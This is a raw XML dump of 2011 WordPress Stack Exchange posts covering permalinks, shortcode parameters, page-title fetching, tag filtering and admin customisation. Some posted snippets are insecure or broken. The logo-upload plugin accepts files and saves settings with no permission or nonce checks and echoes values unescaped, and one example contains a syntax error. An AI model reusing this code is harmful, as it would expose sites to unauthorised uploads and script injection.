  <row Id="19416" PostTypeId="2" ParentId="19413" CreationDate="2011-06-07T13:33:29.787" Score="0" ViewCount="" Body="&lt;p&gt;I think the problem comes from the rewrite rules that had been saved when you developed the site locally. To fix it, you should go to Settings -&gt; Permalinks and set the permalink structure again. Note that, you may just click on the save button, that will flush the rewrite rules for you.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-07T13:33:29.787" CommentCount="1" />
  <row Id="19417" PostTypeId="2" ParentId="19410" CreationDate="2011-06-07T13:48:49.457" Score="0" ViewCount="" Body="&lt;p&gt;I agree that this is more of a basic PHP question, but I can see where you're coming from.  A lot of WordPress functions accept query string formatted parameters like you're trying to do, so it would be a good idea to know exactly &lt;em&gt;how&lt;/em&gt; they do it.  Shortcode functions are guilty in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to modify your &lt;code&gt;helloworld()&lt;/code&gt; method to accept arguments.  Then you pass them through a WordPress function that matches them against defaults.  &lt;em&gt;Then&lt;/em&gt; you'll have access to them elsewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function helloworld( $args = '' ) {&#xA;    $defaults = array(&#xA;        'link' =&amp;gt; 'www.google.com',&#xA;        'alt' = 'picture'&#xA;    );&#xA;&#xA;    wp_parse_args( $args, $defaults );&#xA;&#xA;    extract( $args, EXTR_SKIP );&#xA;&#xA;    echo '&amp;lt;img src=&quot;' . $link . '&quot; alt=&quot;' . $alt . '&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;$args = ''&lt;/code&gt; in the function means that the parameter is optional.  If nothing's passed in, your function will use the defaults you define instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you call &lt;code&gt;helloworld('link=www.facebook.com')&lt;/code&gt; you'd see &lt;code&gt;&amp;lt;img src=&quot;www.facebook.com&quot; alt=&quot;picture&quot; /&amp;gt;&lt;/code&gt;.  If you called &lt;code&gt;helloworld('alt=link')&lt;/code&gt; you'd see &lt;code&gt;&amp;lt;img src=&quot;www.google.com&quot; alt=&quot;link&quot; /&amp;gt;&lt;/code&gt;.  Remember, the function will use whatever you list in the &lt;code&gt;$defaults&lt;/code&gt; array if you don't override it with something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;extract()&lt;/code&gt; function will pull out each element of the array and put it into its own variable.  You don't &lt;em&gt;need&lt;/em&gt; to do this, though.  If you leave it out, you'd just referece &lt;code&gt;$args['link']&lt;/code&gt; instead of &lt;code&gt;$link&lt;/code&gt;.  It's really up to you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T13:48:49.457" CommentCount="1" />
  <row Id="19418" PostTypeId="1" CreationDate="2011-06-07T13:52:34.963" Score="0" ViewCount="75" Body="&lt;p&gt;Here might be an interesting idea: is it possible to add a &quot;quicklink&quot; to the quick links at the top of the Post Admin page (e.g. above the Bulk Actions dropdown, where it says &quot;All | Published | Scheduled | Drafts | Pending&quot;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to add a links for:&#xA;Today | Monday | Tuesday | Wednesday | Thursday | Friday&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just adding &quot;Today&quot; would be useful, as it would trigger the filter that shows all the posts that were either published or are scheduled for today.&lt;/p&gt;&#xA;" OwnerUserId="5913" LastActivityDate="2011-06-07T13:52:34.963" Title="How to add a quicklink to the Posts Admin Published|Scheduled|Trash menu" Tags="&lt;posts&gt;&lt;admin-menu&gt;" CommentCount="1" />
  <row Id="19420" PostTypeId="2" ParentId="19396" CreationDate="2011-06-07T14:13:48.807" Score="0" ViewCount="" Body="&lt;p&gt;The content you get is not utf-8 encoded or the encoding is damaged by the importer. Usually SimplePie – the feed reader WordPress uses – is quite good at handling such cases. I wonder what an importer you use …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I’ve written a function to &lt;a href=&quot;http://toscho.de/2009/utf-8-erzwingen/&quot; rel=&quot;nofollow&quot;&gt;enforce utf-8 output&lt;/a&gt;. You should implement this very early in the import process. The article is in German – let me know if I should add more explanations here.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-07T14:13:48.807" />
  <row Id="19422" PostTypeId="2" ParentId="19064" CreationDate="2011-06-07T14:30:29.187" Score="0" ViewCount="" Body="&lt;p&gt;Actually got around it by making a plugin that can either shortcode a hook into a user edit page from frontend or by using a seperate shortcode in a sidebar. Below is the crux of it, just need to do some bits and bobs with the error reporting. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require(ABSPATH . WPINC . '/pluggable.php');&#xA;&#xA;define('WP-AUTHOR-LOGO_VERSION', '0.3.0');&#xA;define('WP-AUTHOR-LOGO_PLUGIN_URL', plugin_dir_url( __FILE__ ));&#xA;&#xA;register_activation_hook(__FILE__, 'wpal_createfolder');&#xA;&#xA;function wpal_createfolder() {&#xA;$target = ABSPATH . 'wp-content/uploads/wpal_logos';&#xA;wp_mkdir_p( $target );&#xA;}&#xA;&#xA;// Directory for uploaded images &#xA;$uploaddir = ABSPATH . 'wp-content/uploads/wpal_logos';  &#xA;&#xA;// Allowed mimes    &#xA;$allowed_ext = &quot;jpg, gif, png&quot;;  &#xA;&#xA;// Default is 50kb &#xA;$max_size = get_option(wpal_size);  &#xA;&#xA;// height in pixels, default is 175px &#xA;$max_height = get_option(wpal_height);  &#xA;&#xA;// width in pixels, default is 450px &#xA;$max_width = get_option(wpal_width);  &#xA;&#xA;&#xA;// Check mime types are allowed  &#xA;$extension = pathinfo($_FILES['wpaluploader']['name']);  &#xA;$extension = $extension[extension];  &#xA;$allowed_paths = explode(&quot;, &quot;, $allowed_ext);  &#xA;for($i = 0; $i &amp;lt; count($allowed_paths); $i++) {  &#xA;if ($allowed_paths[$i] == &quot;$extension&quot;) {  &#xA;    $ok = &quot;1&quot;;  &#xA;}  &#xA;}  &#xA;&#xA;// Check File Size  &#xA;if ($ok == &quot;1&quot;) {  &#xA;if($_FILES['wpaluploader']['size'] &amp;gt; $max_size)  &#xA;{  &#xA;    print &quot;Image size is too big!&quot;;  &#xA;    exit;  &#xA;}  &#xA;&#xA;// Check Height &amp;amp; Width  &#xA;if ($max_width &amp;amp;&amp;amp; $max_height) {  &#xA;    list($width, $height, $type, $w) = getimagesize($_FILES['wpaluploader']['tmp_name']);  &#xA;    if($width &amp;gt; $max_width || $height &amp;gt; $max_height)  &#xA;    {  &#xA;        print &quot;Image is too big! max allowable width is&amp;amp;nbsp;&quot; . get_option(wpal_width) .&quot;px and max allowable height is&amp;amp;nbsp;&quot; . get_option(wpal_width) .&quot;px&quot;;  &#xA;        exit;  &#xA;    }  &#xA;}  &#xA;global $user_id;&#xA;get_currentuserinfo();&#xA;$image_name=$current_user-&amp;gt;id.'.'.$extension;&#xA;//the new name will be containing the full path where will be stored (images folder)&#xA;&#xA;// Rename file and move to folder&#xA;$newname=&quot;$uploaddir./&quot;.$image_name;  &#xA;if(is_uploaded_file($_FILES['wpaluploader']['tmp_name']))  &#xA;{ &#xA;    move_uploaded_file($_FILES['wpaluploader']['tmp_name'], $newname);  &#xA;}  &#xA;print &quot;Your image has been uploaded successfully!&quot;;  &#xA;}&#xA;&#xA;&#xA;// Create shortcode for adding to edit user page&#xA;add_shortcode(&quot;wp-author-logo&quot;, &quot;wpaluploader_input&quot;);&#xA;&#xA;function wpaluploader_input() {&#xA;$wpaluploader_output = wpaluploader_showform();&#xA;return $wpaluploader_output;&#xA;}&#xA;&#xA;function wpaluploader_showform() {&#xA;$wpaluploader_output = '&amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpauploader&quot;&amp;gt;Upload Company Logo:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;wpaluploader&quot; id=&quot;wpaluploader&quot; /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;small style=&quot;color:#ff0000; font-size:0.7em;&quot;&amp;gt;Allowed image types are .jpg, .gif, .png.&amp;lt;br /&amp;gt;&#xA;Max image width = ' . get_option(wpal_width) . 'px, Max image height = ' . get_option(wpal_height) . 'px &amp;lt;/small&amp;gt;';&#xA;return $wpaluploader_output;&#xA;}&#xA;&#xA;// Create other Shortcode for full form&#xA;add_shortcode(&quot;wp-author-logofull&quot;, &quot;wpaluploader_inputfull&quot;);&#xA;&#xA;function wpaluploader_inputfull() {&#xA;$wpaluploader_outputfull = wpaluploader_showformfull();&#xA;return $wpaluploader_outputfull;&#xA;}&#xA;&#xA;function wpaluploader_showformfull() {&#xA;$wpaluploader_outputfull = '&amp;lt;form method=&quot;post&quot; id=&quot;adduser&quot; action=&quot;' . str_replace( '%7E', '~', $_SERVER['REQUEST_URI']) .'&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpauploader&quot;&amp;gt;Upload Company Logo:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; name=&quot;wpaluploader&quot; id=&quot;wpaluploader&quot; /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input name=&quot;updateuser&quot; type=&quot;submit&quot; id=&quot;updateuser&quot; class=&quot;submit button&quot; value=&quot;Upload&quot; /&amp;gt;&#xA;                        ' . wp_nonce_field( 'update-user' ) . '&#xA;                        &amp;lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;update-user&quot; /&amp;gt;&#xA;&amp;lt;small style=&quot;color:#ff0000; font-size:0.7em;&quot;&amp;gt;Allowed image types are .jpg, .gif, .png.&amp;lt;br /&amp;gt;&#xA;Max image width = ' . get_option(wpal_width) . 'px, Max image height = ' . get_option(wpal_height) . 'px &amp;lt;/small&amp;gt;';&#xA;return $wpaluploader_outputfull;&#xA;} &#xA;&#xA;add_action('admin_menu', 'wpal_menu');&#xA;&#xA;function wpal_menu() {&#xA;add_options_page('WP Author Logo', 'WP Author Logo', 'manage_options', 'wpal_wp-author-logo', 'wpal');&#xA;}&#xA;&#xA;function wpal() {&#xA;if (!current_user_can('manage_options'))  {&#xA;    wp_die( __('You do not have sufficient permissions to access this page.') ); &#xA;}&#xA;?&amp;gt;   &#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;leftwrap&quot;&amp;gt;&#xA;    &amp;lt;?php    echo &quot;&amp;lt;h2&amp;gt;&quot; . __( 'Wordpress Author Logo Plugin', 'wpal_lang' ) . &quot;&amp;lt;/h2&amp;gt;&quot;; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php  &#xA;        if($_POST['wpal_author_logo_success'] == 'Y') {  &#xA;            //Form data sent  &#xA;            $wpal_width = $_POST['wpal_width'];  &#xA;            update_option('wpal_width', $wpal_width);  &#xA;&#xA;            $wpal_height = $_POST['wpal_height'];  &#xA;            update_option('wpal_height', $wpal_height);&#xA;&#xA;            $wpal_size = $_POST['wpal_size'];  &#xA;            update_option('wpal_size', $wpal_size);    &#xA;&#xA;            $wpal_logos = $_POST['wpal_logos'];  &#xA;            update_option('wpal_logos', $wpal_logos); &#xA;        ?&amp;gt;  &#xA;        &amp;lt;div class=&quot;updated&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;?php _e('WP Author Logo Plugin Options Saved.' ); ?&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;  &#xA;        &amp;lt;?php  &#xA;        } else {  &#xA;            //Normal page display  &#xA;            $wpal_width = get_option('wpal_width');  &#xA;            $wpal_height = get_option('wpal_height');&#xA;            $wpal_size = get_option('wpal_size');  &#xA;            $wpal_logos = get_option('wpal_logos');    &#xA;        }  &#xA;    ?&amp;gt;    &#xA;&#xA;    &amp;lt;form name=&quot;wpal_settingsform&quot; method=&quot;post&quot; action=&quot;&amp;lt;?php echo str_replace( '%7E', '~', $_SERVER['REQUEST_URI']); ?&amp;gt;&quot;&amp;gt;  &#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;wpal_author_logo_success&quot; value=&quot;Y&quot;&amp;gt;  &#xA;        &amp;lt;?php    echo &quot;&amp;lt;h4&amp;gt;&quot; . __( 'Wordpress Author Logo Settings', 'wpal_lang' ) . &quot;&amp;lt;/h4&amp;gt;&quot;; ?&amp;gt;  &#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpal_width&quot;&amp;gt;&amp;lt;?php _e(&quot;Maximum Width: &quot; ); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;wpal_width&quot; value=&quot;&amp;lt;?php echo $wpal_width; ?&amp;gt;&quot; size=&quot;20&quot;&amp;gt;&amp;lt;?php _e(&quot;px&quot;); ?&amp;gt;&amp;lt;/p&amp;gt;  &#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpal_height&quot;&amp;gt;&amp;lt;?php _e(&quot;Maximum Height: &quot; ); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;wpal_height&quot; value=&quot;&amp;lt;?php echo $wpal_height; ?&amp;gt;&quot; size=&quot;20&quot;&amp;gt;&amp;lt;?php _e(&quot;px&quot; ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpal_size&quot;&amp;gt;&amp;lt;?php _e(&quot;Maximum Size: &quot; ); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;wpal_size&quot; value=&quot;&amp;lt;?php echo $wpal_size; ?&amp;gt;&quot; size=&quot;20&quot;&amp;gt;&amp;lt;?php _e(&quot;Bytes: hint 50000 bytes = 50Kbs&quot; ); ?&amp;gt;&amp;lt;/p&amp;gt;  &#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;wpal_logos&quot;&amp;gt;&amp;lt;?php _e(&quot;Logo Images Folder: &quot; ); ?&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;wpal_logos&quot; value=&quot;&amp;lt;?php echo $wpal_logos; ?&amp;gt;&quot; size=&quot;20&quot;&amp;gt;&amp;lt;?php _e(&quot; ex: /wpal_logo_images/&quot; ); ?&amp;gt;&amp;lt;/p&amp;gt;  &#xA;&#xA;        &amp;lt;p class=&quot;submit&quot;&amp;gt;  &#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;&amp;lt;?php _e('Update Options', 'wpal_lang' ) ?&amp;gt;&quot; /&amp;gt;  &#xA;        &amp;lt;/p&amp;gt;  &#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- / leftwrap --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- / wrap --&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-07T14:30:29.187" />
  <row Id="19423" PostTypeId="1" CreationDate="2011-06-07T14:30:57.753" Score="1" ViewCount="41" Body="&lt;p&gt;I want to filter the tags before they are inserted into the database. I'm aware of the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/pre_insert_term&quot; rel=&quot;nofollow&quot;&gt;pre_insert_term&lt;/a&gt; filter. But what I need to do is to see all the tags at once. I need to limit the number of tags entered to the database per post. Is there a filter to do this? Or any other method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-08-08T17:20:59.017" Title="Is there a Filter that I can use to filter the tags before they are inserted in to the database?" Tags="&lt;plugin-development&gt;&lt;filters&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="19424" PostTypeId="1" AcceptedAnswerId="19426" CreationDate="2011-06-07T14:33:27.907" Score="1" ViewCount="137" Body="&lt;p&gt;What is the best method to retrieve the title tag of an external page using the http api?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The snippet below will get the body but I can't find the right documentation about how to just get the  tag.  :/&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'http://wordpres.org';&#xA;$response = wp_remote_get( $url );&#xA;if( is_wp_error( $response ) ) {&#xA;   echo 'Something went wrong!';&#xA;} else {&#xA;print wp_remote_retrieve_body( $response );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; This code snippet gets both the screenshot&#xA;  and title of an external page (Thanks again @Bainternet). With a&#xA;  little editing this could be an easy&#xA;  way to display the link post format.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$content = get_the_content();&#xA;$url = strip_tags($content); //assumes only a url is in the_content&#xA;$width = '150';&#xA;$cleanurl = urlencode(clean_url($url));&#xA;$fullurl = 'http://s.wordpress.com/mshots/v1/' . $cleanurl . '?w=' . $width;&#xA;&#xA;// return title tag of an external page&#xA;// http://wordpress.stackexchange.com/questions/19424/how-to-get-title-tag-of-an-external-page-with-http-api&#xA;function get_page_title($url){&#xA;    if( !class_exists( 'WP_Http' ) )&#xA;        include_once( ABSPATH . WPINC. '/class-http.php' );&#xA;    $request = new WP_Http;&#xA;    $result = $request-&amp;gt;request( $url );&#xA;    if( is_wp_error( $result ) )&#xA;        return false;&#xA;&#xA;    if( preg_match(&quot;#&amp;lt;title&amp;gt;(.+)&amp;lt;\/title&amp;gt;#iU&quot;, $result['body'], $t))  {&#xA;        return trim($t[1]);&#xA;    } else { &#xA;return false; }&#xA;    }&#xA;$title = get_page_title($url);      &#xA;&#xA;echo '&amp;lt;div class=&quot;grid_4 alpha&quot;&amp;gt;&amp;lt;a href=&quot;' . $url . '&quot;&amp;gt;&amp;lt;img src=&quot;' . $fullurl . '&quot; width=&quot;' . $width .'px&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;'; &#xA;echo '&amp;lt;div class=&quot;grid_10 omega&quot;&amp;gt;&amp;lt;h3&amp;gt;'; if ($title !== false){ echo $title;} echo '&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;' . $content . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;echo '&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-06-10T16:17:01.737" LastActivityDate="2011-06-10T17:40:48.710" Title="How to get title tag of an external page with http api?" Tags="&lt;api&gt;&lt;http&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="19425" PostTypeId="2" ParentId="19424" CreationDate="2011-06-07T15:07:07.670" Score="0" ViewCount="" Body="&lt;p&gt;Well, you don't want to &lt;code&gt;print&lt;/code&gt; the response, you'll want to store it in a variable.  Then you can use a RegEx to find the text inside &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/title&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_match( $pattern, wp_remote_retrieve_body( $response ), $matches );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;$matches&lt;/code&gt; variable will then be an array.  Just use &lt;code&gt;$matches[0]&lt;/code&gt; and you'll have the title tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pattern will extract &lt;code&gt;&amp;lt;title&amp;gt;Your Title&amp;lt;/title&amp;gt;&lt;/code&gt; out of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pattern = '/&amp;lt;title&amp;gt;([^&amp;gt;]*)&amp;lt;\/title&amp;gt;/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I leave it up to you to remove the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/title&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T15:07:07.670" />
  <row Id="19426" PostTypeId="2" ParentId="19424" CreationDate="2011-06-07T15:20:34.027" Score="1" ViewCount="" Body="&lt;p&gt;here is a function i have for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_page_title($url){&#xA;        if( !class_exists( 'WP_Http' ) )&#xA;            include_once( ABSPATH . WPINC. '/class-http.php' );&#xA;        $request = new WP_Http;&#xA;        $result = $request-&amp;gt;request( $url );&#xA;        if( is_wp_error( $result ) )&#xA;            return false;&#xA;&#xA;        if( preg_match(&quot;#&amp;lt;title&amp;gt;(.+)&amp;lt;\/title&amp;gt;#iU&quot;, $result['body'], $t))  {&#xA;            return trim($t[1]);&#xA;        } else {&#xA;            return false;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = get_page_title('http://www.google.com');&#xA;if ($title !== false){ echo $title;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-06-10T17:40:48.710" LastActivityDate="2011-06-10T17:40:48.710" CommentCount="3" />
  <row Id="19427" PostTypeId="1" CreationDate="2011-06-07T15:24:31.007" Score="1" ViewCount="37" Body="&lt;p&gt;Client has a 3.1x-based site with paywall(using s2Member) which has a public feed that only provides excerpts. He wants to be able to give members full-content feeds, so we need something that can look at the member's role/level and cut them off at the appropriate time, etc. It's accepted this will probably require some templating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a couple of options, like &lt;a href=&quot;http://wordpress.org/extend/plugins/feed-key/&quot; rel=&quot;nofollow&quot;&gt;Feed Key&lt;/a&gt;(mostly functional, but not quite) but they've all seem to have been abandoned around 2008 for some reason and I don't have the capability or familiarity with the system to fix them. Are there more current options I'm not digging up, or is it that this somehow became possible with core and I'm just not seeing it?&lt;/p&gt;&#xA;" OwnerUserId="3370" LastActivityDate="2011-06-07T20:57:09.690" Title="Options for authenticated feeds" Tags="&lt;feed&gt;&lt;authentication&gt;" AnswerCount="2" />
  <row Id="19428" PostTypeId="1" CreationDate="2011-06-07T15:58:33.497" Score="0" ViewCount="57" Body="&lt;p&gt;What I'm trying to do is adding in a post admin page a meta box, dynamically listing all posts from another category in the for of a check box list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I can create relations between a post and other posts belonging to a different category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5315" LastEditorUserId="5315" LastEditorDisplayName="" LastEditDate="2011-06-07T16:17:15.983" LastActivityDate="2011-06-07T16:39:04.023" Title="create relationship between posts from one category and posts from another category" Tags="&lt;categories&gt;&lt;add-meta-box&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19429" PostTypeId="2" ParentId="19428" CreationDate="2011-06-07T16:39:04.023" Score="1" ViewCount="" Body="&lt;p&gt;I'm not certain what you're asking, but maybe Scribu's &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin will help you.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-07T16:39:04.023" />
  <row Id="19430" PostTypeId="1" CreationDate="2011-06-07T16:39:05.207" Score="0" ViewCount="92" Body="&lt;p&gt;When trying to create a new topic in a BuddyPress installation with integrated bbpress, I keep getting the &quot;There was an error when creating the topic&quot; error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following list of suggestions I found around the Internet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uncheck/check &quot;enable forums&quot;&lt;/li&gt;&#xA;&lt;li&gt;delete group, recreate it&lt;/li&gt;&#xA;&lt;li&gt;chmod 755 all of buddypress&lt;/li&gt;&#xA;&lt;li&gt;re-setup bbpress in wp-admin&lt;/li&gt;&#xA;&lt;li&gt;delete from wp_bp_groups_groupmeta where meta_key='forum_id';&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course I tried enabling WP_DEBUG and staring at the errors for a while, but that isn't very useful when BuddyPress and bbpress generate hundreds of errors on every page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.1.2, BuddyPress 1.2.8, bbpress 1.0.3.&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2011-08-15T19:24:47.773" Title="BuddyPress/bbpress: There was an error when creating the topic" Tags="&lt;buddypress&gt;&lt;bbpress&gt;" AnswerCount="1" />
  <row Id="19431" PostTypeId="2" ParentId="19427" CreationDate="2011-06-07T16:46:42.217" Score="0" ViewCount="" Body="&lt;p&gt;This is not possible with core so far as I know.  I would recommend trying the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Contact the original author of FeedKey and ask if they can update it for the latest version of WordPress.&lt;/li&gt;&#xA;&lt;li&gt;Contact another developer and ask them to update FeedKey.&lt;/li&gt;&#xA;&lt;li&gt;Adopt the plugin yourself, update it, and release the updated version back to the community.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-07T16:46:42.217" />
  <row Id="19432" PostTypeId="2" ParentId="19423" CreationDate="2011-06-07T16:59:23.887" Score="1" ViewCount="" Body="&lt;p&gt;A good thing &lt;em&gt;- as always -&lt;/em&gt; is the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Reference&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could &lt;code&gt;count&lt;/code&gt; the terms from the &lt;code&gt;$post&lt;/code&gt; data on &lt;code&gt;pre_post_update&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-07T16:59:23.887" CommentCount="2" />
  <row Id="19435" PostTypeId="1" AcceptedAnswerId="19532" CreationDate="2011-06-07T17:28:51.577" Score="2" ViewCount="102" Body="&lt;p&gt;I've added a role of &quot;Customer&quot; and I am working on customizing the Users Screen for that role. What I'd like to do is customize columns based on that particular role. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, take a look at the screenshot. How would I remove the reference to the posts column for &lt;em&gt;only&lt;/em&gt; the customer role? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/RhSGH.png&quot; alt=&quot;Example of current &amp;quot;Customer&amp;quot; screen&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="1766" LastEditorDisplayName="" LastEditDate="2011-06-07T18:47:31.053" LastActivityDate="2011-06-08T17:21:49.380" Title="Customize Admin Users Screen based on Role" Tags="&lt;admin&gt;&lt;users&gt;&lt;custom-roles&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="19436" PostTypeId="1" CreationDate="2011-06-07T17:33:17.567" Score="0" ViewCount="113" Body="&lt;p&gt;My WP application is in a separate directory (called 'listings') within my HTML site root.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom post type called 'business_sold' for which I am using archive-&lt;code&gt;business_sold.php&lt;/code&gt; to render queries.  I want &lt;code&gt;archive-business_sold.php&lt;/code&gt; to act just like &lt;code&gt;index.php&lt;/code&gt; in that I would like 10 posts to render automatically upon accessing that URL.  In addition to that, I have a menu of categories (exclusive to this post type, but they are categories vs. taxonomies) for a category search.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon a search by category, however, the system is defaulting to the category.php template for regular posts.  How/Can I add another loop within archive-business_sold to make the system use this file for category calls? Would including an archive.php file accomplish this and not override the category.php for regular posts?  Here is my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if (have_posts()) : &#xA;    while (have_posts()) : &#xA;        the_post(); &#xA;        ?&amp;gt;  &#xA;        &amp;lt;div &amp;lt;?php post_class('posts_per_page=10'); ?&amp;gt;&amp;gt;   &#xA;            &amp;lt;div class=&quot;box post&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;  &#xA;            &amp;lt;div class=&quot;content&quot;&amp;gt;  &#xA;                    &amp;lt;div class=&quot;f1&quot;&amp;gt;            &#xA;                        &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;title&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;  &#xA;                        &amp;lt;?php the_title(); ?&amp;gt;  &#xA;                        &amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" 